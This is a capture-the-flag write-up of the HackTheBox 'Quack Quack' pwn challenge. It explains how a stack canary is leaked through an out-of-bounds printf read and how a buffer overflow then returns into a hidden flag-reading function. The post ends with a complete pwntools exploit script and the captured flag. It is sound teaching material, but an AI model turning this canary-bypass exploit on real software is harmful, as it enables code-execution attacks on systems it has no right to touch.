Binary Exploitation: Bypassing Stack Canaries

󰃭 2025-03-26

Over the weekend, I participated in Cyber Apocalypse CTF 2025 by HackTheBox . One of the “very easy” challenge in PWN section called Quack Quack requires exploiting a stack buffer overflow and bypass stack canaries to hijack code flow.

After downloading the challenge files , we see


./
├── flag.txt
├── glibc
│   ├── ld-linux-x86-64.so.2
│   └── libc.so.6
└── quack_quack

We also spawn the challenge docker in the CTF platform to interact with the challenge. Seems like docker runs the binary and we can interact with it on a network socket with netcat . The binary asks for an input, and we immediately try to overflow the buffer.


nc 94.237.48.197 58177

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣀⣀⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠋⠁⠈⠉⠛⢻⣶⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠋⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⡿⠁⠀⠀⢰⣿⠂⠀⢀⣤⣼⣿⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡿⠁⠀⠀⠀⠀⠀⣠⣶⠿⡛⡜⢿⣷⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⡿⠁⠀⠀⠀⠀⢀⣾⡿⠿⠿⣷⣼⣢⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⣼⠇⠀⠀⠀⠘⠻⣿⣤⣿⡃
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢰⡏⠀⠀⠀⠀⠀⠀⠈⠻⠟⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡟⠀⠀⠀⠀⠀ ⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠇⠀⠀⠀⠀⠀⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢀⣤⣶⢶⣦⣤⣀⣀⣀⣄⣠⣤⣤⣤⣤⣤⣴⡾⢿⡄⠀⠀⠀⠀⠀⢸⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢀⣾⠏⠀⠀⠈⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠈⢻⣆⡀⢀⣀⣤⠾⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣻⢿⠉⠀⠀⠈⠻⣷⣄⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⣽⣻⠀⠀⠀⠀⠀⠈⢻⣧⠀⠀⠀⠀⠀⠀
⠀⠀⠹⣧⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣻⢷⣿⠀⠀⠀⠀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀
⠀⠀⠀⠙⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡷⣯⣿⢾⠀⠀⠀⠀⠀⠀⠀⢻⡇⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠘⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⢿⡽⣟⡿⠀⠀⠀⠀⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠸⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣯⣿⡽⣯⠇⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢹⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠓⠋⠁⠀⠀⠀⠀⠀⠀⠀⢠⣿⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢻⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠿⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣦⡀⠀⠀⠀⠀⣀⣀⣀⠀⠀⠀⢀⡀⠀⠀⣀⣼⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣶⣶⣶⣿⡟⠉⠛⠛⣶⠛⠛⢻⣿⣾⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⢩⡙⣿⣄⠀⠀⠀⠀⠀⠀⣾⣏⢹⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⡟⢢⠱⡩⢿⣆⠀⠀⠀⠀⢸⣿⢄⠫⡹⠟⠿⣻⣷⣦⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣋⠬⢥⢣⡑⢎⣿⣦⠀⠀⠀⠀⠻⣯⣶⣡⢋⠖⡡⣾⣾⠗⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢾⣯⣴⣿⣶⡣⣼⣦⣙⣿⡆⠀⠀⠀⠀⠈⠛⠿⣾⣼⣷⣿⡿⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠉⠀⠘⠿⠟⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠋⠀⠀⠀⠀⠀⠀⠀⠀

 ~~ Quack Quack Duck Attack ~~

Quack the Duck!

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[-] Where are your Quack Manners?!

No luck, seems like we need to dig a bit more. Let’s perform some basic checks on the binary


strings quack_quack > strings.txt

checksec --file=./quack_quack
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH Symbols  FORTIFY Fortified Fortifiable FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   RW-RUNPATH   54 Symbols   No 0  2  ./quack_quack

strings reveal some interesting strings but nothing concrete. checksec shows us that NX is enabled and a stack canary is found.

Let’s throw this binary into Ghidra decompiler to get an idea of what’s going on. Here is the main() function:


undefined8 main(void)

{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  duckling();
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

We can see it calls duckling()


void duckling(void)

{
  <snipped>
  
  printf("Quack the Duck!\n\n> ");
  fflush(stdout);
  read(0,&local_88,0x66);
  pcVar1 = strstr((char *)&local_88,"Quack Quack ");
  if (pcVar1 == (char *)0x0) {
    error("Where are your Quack Manners?!\n");
                    /* WARNING: Subroutine does not return */
    exit(0x520);
  }
  printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
  read(0,&local_68,0x6a);
  puts("Did you really expect to win a fight against a Duck?!\n");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

  • The first read function reads 0x66 (102) bytes into a local variable. We try to exploit this by sending more than 102 characters but there is no crash which means local_88 has sufficient space.
  • strstr function looks for a substring Quack Quack in the input we submit and index of this string is stored in pcVar1 . We can use this to get past the error message we see earlier.
  • There is another read function that takes user input 0x6a (106) bytes into local_68 variable and that’s the end of our interaction with the binary. So there must a vulnerability in the second read call.
  • Decompiler also shows a function called duck_attack but this function is never called. Looking at the source code, this function actually reads the flag from disk and prints it.

void duck_attack(void)
{ 
  <snipped>

  local_14 = open("./flag.txt",0);
  if (local_14 < 0) {
    perror("\nError opening flag.txt, please contact an Administrator\n");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  while( true ) {
    sVar1 = read(local_14,&local_15,1);
    if (sVar1 < 1) break;
    fputc((int)local_15,stdout);
  }
}
  • This is exactly what we want. Basically, to solve this challenge we must redirect code flow to the address of duck_attack function. We can do this if there is a buffer overflow vulnerability.

To analyse a bit more, we run the binary on the local virtual machine and we can use gdb for debugging.


./quack_quack

~~ Quack Quack Duck Attack ~~

Quack the Duck!

> Quack Quack
Quack Quack , ready to fight the Duck?

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Did you really expect to win a fight against a Duck?!

*** stack smashing detected ***: terminated
Aborted (core dumped)

Sending correct string Quack Quack triggers second prompt for user input. We again try to overflow the buffer and this time we get a stack smashing detected error.

Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immediately with this error. Because we’re overwriting the stack with many A’s, this canary is also overwritten leading to detection of stack smashing and program aborts before returning from the vulnerable function.

From traditional buffer overflow exploit, we know that we have to overwrite the return address on the stack so the vulnerable function returns to our controlled return address. But this is prevented by the stack canary check which aborts the program before it returns from the vulnerable function.

Let’s look at the disassembly in gdb


(gdb) disass duckling
Dump of assembler code for function duckling:
0x00000000004014a0 <+0>: endbr64
0x00000000004014a4 <+4>: push   %rbp
0x00000000004014a5 <+5>: mov    %rsp,%rbp
0x00000000004014a8 <+8>: sub    $0x90,%rsp
0x00000000004014af <+15>: mov    %fs:0x28,%rax      # canary moved to RAX
0x00000000004014b8 <+24>: mov    %rax,-0x8(%rbp)    # RAX moved to the stack

<snipped>

<+314>: call   0x401160 <read@plt>      # vulnerable read
<+319>: lea    0x17aa(%rip),%rax
<+326>: mov    %rax,%rdi
<+329>: call   0x401100 <puts@plt>
<+334>: nop
<+335>: mov    -0x8(%rbp),%rax          # canary value on stack is moved to RAX
<+339>: sub    %fs:0x28,%rax            # RAX is compared with the original canary
<+348>: je     0x401603 <duckling+355>  # jump to leave instruction of canary is same
<+350>: call   <__stack_chk_fail@plt>   # abort if value is different
<+355>: leave
<+356>: ret

We see that the canary value is pushed to the stack at the start of the function. On instruction <+335> 8 bytes from the base of the stack are moved to rax register. This should be the value of the canary. We can confirm it by running the program again without overflowing the buffer.


(gdb) break *duckling+339
Breakpoint 3 at 0x4015f3
(gdb) c
Continuing.
Quack the Duck!

> Quack Quack
Quack Quack , ready to fight the Duck?

> TEST
Did you really expect to win a fight against a Duck?!

Breakpoint 3, 0x00000000004015f3 in duckling ()
(gdb) info registers
rax            0xb0d1eba056dc4600  -5705520179017136640

0xb0d1eba056dc4600 is the value of the canary. This changes for each execution of the program. Let’s now look at the value of rax at the same breakpoint after injecting buffer overflow payload


(gdb) run
Quack the Duck!

> Quack Quack
Quack Quack , ready to fight the Duck?

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Did you really expect to win a fight against a Duck?!

Breakpoint 3, 0x00000000004015f3 in duckling ()
(gdb) info registers
rax            0x4141414141414141  4702111234474983745

This is the problem, stack canary is overwritten by 0x41 (A’s) from our payload. This value gets compared with %fs:0x28 where original canary is stored and stack smashing is detected. If we can somehow bypass this check, we can have the program return from duckling function. We also need to overwrite the return address on the stack to point to the address of duck_attack function. When program returns from duckling it will call duck_attack and give us the flag.

One popular way to bypass canary check is by leaking the canary value from the stack using a format string vulnerability. With a format string vulnerability, if we can leak data from the stack, we can potentially leak the value of the canary and use it in our payload at the exact offset to load it into the RAX register at the time of verification.

Going back to the decompiled code of duckling function, we see this line

printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);

We know that pcVar1 stores the index of Quack Quack substring in our first payload. The printf is adding 0x20 (32) to this index and using that as the format string value %s. If we send this substring at the end of the payload, we can trick printf to read out of bounds of pcVar1

Quack the Duck!

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Quack Quack
Quack Quack �9��KD�, ready to fight the Duck?

We see some garbage characters. This is actually data from the stack that printf is reading out of bounds of pcVar1 pointer.

In order to find the offset required to leak the canary value, we run the program with a breakpoint where canary is stored on the stack and get the canary value. Then we send our payload and read the printed characters to match the canary value. With some trial and error, we can get the exact offset.

Reading hex data from the terminal/gdb is tricky, so we use the pwntools module in python.

Here is the final attack plan:

  • Leak canary with first user input
  • Overflow the buffer in second input and place the canary at the correct offset for bypassing the stack check
  • Write the address of duck_attack function at the correct offset for the return address, so when the program returns from duckling , it calls duck_attack

Let’s write a python script for the exploit:


from pwn import *

# leak canary
can_payload = f"{'A' * 88} Quack Quack ".encode()

# buffer overflow payload
payload = f"{'A' * 88}".encode()

# address of duck_attack function
duck_attack = b"\x7f\x13"

# offset adjustments
padding = f"{'A' * 2}".encode()
buffer = f"{'A' * 8}".encode()

# Step 1: leak the canary
# p = remote('94.237.48.197', 58177)
p = process("./quack_quack")
p.recvlines(timeout=1)
p.sendline(can_payload)
x = p.recvline(timeout=1)
canary_bytes = b'\x00'
# canary value is at index 14-20
for i in range(14, 21):
    temp = hex(x[i]).encode("utf-8")
    hex_str = temp.decode()[2:]
    byte_data = bytes.fromhex(hex_str)
    canary_bytes += byte_data

# Step 2: exploit and read the flag
final_payload = payload + canary_bytes + buffer + duck_attack + padding

p.sendline(final_payload)

p.recvline(timeout=1)
p.recvline(timeout=1)
p.recvline(timeout=1)
print(p.recvline(timeout=1))

p.close()

Run the exploit to get the flag


$ python exploit.py

[+] Opening connection to 94.237.48.197 on port 58177: Done
[!] EOFError during recvline. Returning buffered data without trailing newline.
b'HTB{~c4n4ry_g035_qu4ck_qu4ck~_63062a80f6dd705897157c<redacted>}'
[*] Closed connection to 94.237.48.197 port 58177

If the exploit fails with a ValueError, just try it a few times. In some cases leaked canary value cannot be converted to bytes. But most times it works.